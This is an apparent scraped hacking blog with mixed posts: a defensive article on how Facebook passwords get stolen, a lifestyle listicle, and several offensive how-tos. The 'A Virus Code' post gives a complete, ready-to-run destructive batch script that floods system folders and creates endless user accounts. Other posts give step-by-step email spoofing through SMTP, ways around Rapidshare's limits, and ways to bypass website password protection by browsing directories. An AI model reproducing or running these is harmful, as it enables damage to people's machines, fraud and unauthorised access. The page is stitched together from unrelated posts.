Hackers Council || Learn Hacking || Hack Facebook

7 Sneaky Ways Hackers Can Get Your Facebook Password

2012-06-15T01:33:00.001+05:30

Takeaway: On Facebook, not everything is as it seems. No matter how many friends you have, enemies may be lurking there as well.

Source: Flickr/codemastersnake

Facebook. Chances are you either hate it or grudgingly feed your daily addiction to friends’ updates, photos and posts. But while users continue to build out their online lives, the risk of having all that personal information out there in cyberspace continues to grow. Sure, many Facebook hackers do little more than post spammy links, but when hackers gain access to your account, it can also provide them with enough personal information to steal your identity. So how do these cybercriminals get a hold of your password? Check out some of the key strategies and find out what you can do to protect yourself. (Scams are common on Facebook, too. Find out how to spot one in 7 Signs of a Facebook Scam.)

Phishing Links

It’s human nature to be compelled to click provocative links. Don’t feel bad - attention-grabbing headlines have been around as long as news has been a commodity. But whatever you do, don’t click them on Facebook. These over-the-top updates - often about celebrities - are often produced by hackers looking to steal your Facebook password. It usually works like this: Users click the phishing link and are then prompted to log in to a site that looks like Facebook, but isn’t. Instead, this duplicate site sends usernames and passwords straight to a hacker’s email account.

Reduce Your Risk:
Links that are so juicy you can hardly resist them are probably too good to be true - don’t click! If you really need to know, check it out on Google. Chances are your search will reveal that the link’s headline is fake - and its contents are a scam.

Fake Account Phishing

You may not remember everyone from your freshman poli-sci class. Don’t beat yourself up about it - and don’t let a desire to be polite compel you to add people you don’t know to Facebook. Anyone can set up a Facebook profile, and scammers have been known to set up accounts designed to look like they belong to Facebook personnel in an attempt to convince users to provide login info for "security reasons." Even scarier, is a new type of malware known as a "socialbot." This automated program builds up a profile and spams out friend requests in order to gain access to user accounts. And once a fake friend gains access to your profile, you're at risk of being hacked.

Reduce Your Risk:
Yes, maybe that guy you think you recognize really was sitting one row back - or maybe the account is fake. If you must add acquaintances to Facebook, check out their profiles first. If you don’t have much in common, such as friends, schools and jobs, chances are you’ve never met. And never give your login credentials to anyone. The real Facebook will never ask.

Mobile Phone Hacking

According to Facebook’s February 2012 IPO statement, the company had more than 425 million active mobile users per month in 2011, a number that continues to grow around the world. The problem is if hackers can gain access to your cellphone - whether by usingmobile spying software, or just by picking it up where you left it - they can probably hack in to your Facebook account too.

Reduce Your Risk:
Block hacking action by skipping downloads from untrusted sources, sticking to secure Wi-Fi connections, turning off Bluetooth or Wi-Fi when you’re not using it, and keeping your cellphone under password protection at all times.

Facebook Apps

The days of daily Facebook app invitations are (thankfully) gone. Even so, Symantec reported that in 2011, 20 million Facebook apps were still being installed each and every day. The risk of password theft here stems from the fact that most Facebook third-party applications access users' personal information. Although they ask permission for this, providing access to your account is tricky business, especially if that access is not secure - or the app was designed to do more than just allow the user to access a service or play a game. Most often, your information goes to advertisers, but there’s also a possibility it could land in a hacker’s hands and provide them with enough access to gain control of your account.

Reduce Your Risk:
Avoid downloading apps, especially from companies or organizations you've never heard of. You can also delete the ones you have by visiting the Account Settings area in your Facebook account.

Facebook Like and Share Buttons

Just about every site out there has Facebook "Like" and "Share" buttons, which automatically post content to your Facebook feed when you click them. These buttons are a great way for sites to promote content and for users to share it, but they aren’t risk-free. Hackers can camouflage a false Facebook login page by making a button that looks like the real deal. Enter your credentials, and you’ll be sending them straight to a cyber-criminal.

Reduce Your Risk:
You can protect yourself by signing into Facebook in a new tab, then opening a second tab for surfing. When you click the "Like" button, the site should automatically recognize that you’re authorized on Facebook and post the content. If it still prompts you for a password, you should be suspicious.

Worms

In January 2012, the Ramnit worm re-emerged on Facebook and scored a payload of 45,000 Facebook login credentials. This piece of malware was originally spread through network security gaps and infected USB drives. In 2012, an updated version made the leap to Facebook, where it is believed to have spread via stolen Facebook login credentials.

Reduce Your Risk:
How can you protect yourself? Avoid clicking on links and attachments, even from friends. And, because Ramnit may also have gained access to users’ Gmail and other accounts, avoid using the same credentials for different online services.

Third-Party Sign Ins

Websites of all kinds are increasingly encouraging users to login through Facebook. It saves you the trouble of having to set up a new account. With all the logins required these days, that convenience is a godsend, but it also has some potential for risk. In March 2012, researchers reported that single sign-on services (SSO) weren’t always properly integrated into the websites that used them. SSOs relay a visitor’s login information to Facebook. If the user credentials are valid, Facebook sends a certified token. Then, the third-party website gives the user access to the requested account. However, because these credentials are sent to the user’s browser first, an attacker can obtain a token that grants access to the user’s account without having to supply the username and password that are usually required.

Reduce Your Risk:
Although Facebook reported that the bug had been fixed, using a new login and password for new accounts keeps your login info locked down, so it’s always a safer move.

Facebook Friends ... and Enemies

Worried about hackers getting into your Facebook? Whether you’re worried about private information or just panicking at the prospect of being locked out of your account, there are a few things you can do to protect yourself. Above all else, be aware. On Facebook, not everything is as it seems. No matter how many friends you have, enemies may be lurking there as well.

5 Men all women need

2011-09-17T14:30:00.003+05:30

All women claim to have their set of dependable male friends. Be it for a liberal dosage of honest advice, shopping tips or some harmless flirting, these are 5 guys every gal needs:

MR CHARMER
This guy is the ultimate feel good dude. Being his pal ensures you feel happy even on days when everything else in your life is falling apart. The best part about hanging out with a charmer is that he helps you feel more beautiful from within. Charmers however can't turn on their moves 24/7. Try and grab him on an off-day and your chemistry may just go kaput!

MR FRANKNESS
Most women when brutally honest with each other, end up in an alpha-female battle. But guys can often get away with calling a spade a spade and not have us feel offended. Most women dig cerebral men who force them to think because in a way these discussions and heart-to-heart chats highlight how men see women.

MR GEEKY
While women are hugely turned off by bespectacled geeky dudes, geeks are not all risky business. This guy's linear outlook to life is often a breather for women. Geeks may be socially awkward, but his technical prowess is a great high, especially if you don't even know how to fix your own laptop. Plus, chances are he's highly qualified and thus he's likely to be a great counterpoint to your social butterfly image.

MR PLATONIC GUY
Men can make great friends. If there is no hidden sexual agenda, a man and woman can share a strong and authentic relationship. Guy buddies such as these should be on your speed dial - he'll be the one to restore your confidence in the male species after your heart is shattered.

MR ADVENTURER
With him, you'll never ever get bored. This guy will push you out of your comfort zone and show you there's always opportunity for wild escapes. But the flipside to such free spirited guys is that you can never tie this guy down, as he needs lots of space.

Like us on Facebook

2011-04-19T01:59:00.002+05:30

Best book 2 prepare for end semesters... Mega Mind Series

2011-03-31T02:47:00.001+05:30

Learn Hacking and make your career in Information Security

2011-03-30T05:53:00.000+05:30

Make your career in Information Security... Be an Ethical Hacker... Earn huge amount of money...

By learning ethical hacking you can become a hacker or an I.T Security Officer/Engineer...

Stay tuned for updates.

Enable extra security mechanisms in gmail account

2011-03-23T20:29:00.000+05:30

What is Gmail 2-Step Verification:

Gmail started 2-step verification which adds an extra layer of security to your Google account by requiring you have to access your phone as well as username and password.

These means that even if some steals or guess your password, then too the hackers still wont be able to access your account since they don't have your phone.

How you sign-in with 2 steps:

* When you access any Google products, enter your username and password.

* You will then next be asked to enter the verification code, which you get on your phone. You have to do only once in every 30 Days if you choose.

How to Enable 2-Step Verification:

(1) Open Google Account page using following URL:
Google Account Page

(2) Click on "Using 2-step verification" link under "Personal Settings" section.

(3) If you can't see the link, you can use following direct URL:
Using 2-step verification Link

(4) Follow the instructions and add your phone number to the extra security mechanism.

Note:

If 2-step verification is not enabled on your account then be patient - all Google account will be enabled soon.

Facebook recent activity

2011-01-13T01:32:00.000+05:30

Add Airport Madness 3 to Your Website or Blog

2010-07-29T11:53:00.000+05:30

Add Airport Madness 3 to Your Website or Blog

A Virus Code

2010-07-18T21:52:00.000+05:30

Simple Virus making
If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can't be detected by any anti virus

Here are some good viruses ,i am not responsible for any kind of damage to your system ... :)

Copy this to notepad and save as flood1.bat.....

@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start

:start
@ECHO SET snowball2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5

:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET maggi=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR maggi%%maggi%% >> bat5.bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4

:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET marge=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR marge%%marge%% >> bat4.bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3

:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET bart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR bart%%bart%% >> bat3.bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2

:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET homer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR homer%%homer%% >> bat2.bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1

What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.

E-mail forgery

2010-06-25T17:19:00.000+05:30

1. Some ISP's block port 25 so it might not work
2. Most likely, you won't be able to see what yer typing

First of all, you need an SMTP server. These are extremely common and, in fact, I'll provide one for you (mail.hotmail.com). SMTP: Simple Mail Transfer Protocol. This service runs on port 25 (in most cases) and is used to send outgoing email.

Now, open up the command prompt and telnet to mail.hotmail.com on port 25 (note: to see what you type, type telnet and enter then type in set local_echo):

code:--------------------------------------------------------------------------------
telnet mail.hotmail.com 25
--------------------------------------------------------------------------------

When yer connected type in (except what's in between *'s; you chose what will go in the []):

code:--------------------------------------------------------------------------------
helo
*wait*
mail from:[whoever]@[whoever.com]
*wait*
rcpt to:[whoever]@[whoever.com]
*wait*
data
*wait*
[write]
[whatever you want]
[in]
[as many]
[lines as wished]
.
*wait*
quit
--------------------------------------------------------------------------------

Helo is just a handshake with the server. Mail from: is FROM who you want the email to be. rcpt to: is who you want the email to go to. under data is what you want sent. the '.' ends data. quit quits. There! simple isn't it.

Rapidshare hacked

2010-06-13T23:34:00.000+05:30

Rapidshare Hacked, unlimited upload, no countdown

UNLIMITED download/upload
Its very easy to fool Rapid Share server if your IP address is assigned by your ISP. Just follow these simple steps:

clean up IE or netscape or Firefox cookie( In this case the one that belong to rapidshare website)
On Command prompt (open MS-DOS)
type -----> ipconfig /flushdns <---Enter type -----> ipconfig /release <---Enter type -----> ipconfig /renew <---Enter type -----> exit <--------Enter

Or save these commands in a bat file and run it everytime you need to fool Rapidshare server. Remember to clean up rapidshare cookie in your temp Internet files folder.

Now you should be ready to download/upload as many files as you want from their server.

another way, get proxies from the internet and apply to the browser.
some of proxies might not work though...

Note:
If you are on a LAN and behind a router (using NAT, for example)---this will not work.
If you use a fixed proxy--- this will not work.
If you have a fixed IP address from your ISP or college or employer or whatever -- this will not work.
If you happen to get the same IP address from your DHCP server because it's assigned to you -- this will not work

NO waiting
THIS "cheat" for RAPIDSHARE DOWNLOADS eliminates the "WAITING" for the file. No more COUNTDOWNS. So heres what you do:

1. First, Find a rapidshare download.
2. Hit the FREE BUTTON, like always.
3. While your waiting for it to countdown, change the URL in the bar to:
Code:
java script:c(countdown = 0);
and hit ENTER or the GO button over and over. Eachtime you do so, it decreases 10-20 seconds. Few times and the link appears.
or you can simply do the code below ONCE
java script: for (i=0; i<30; i++) { c(); }

Happy downloading

Hacking password protected Websites

2010-06-13T23:20:00.000+05:30

There are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting

[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .

Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.

For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.

We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

(DISCLAIMER)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The Info Above Is Lame!!!. I Dont Condone The Use Of This Document In A Malisous Manner. I Suggest That U Dont Do it But U Do What Ever U Want. I Will Not Be Responsible For Any Thing That Might Happen To U If U Use This. :)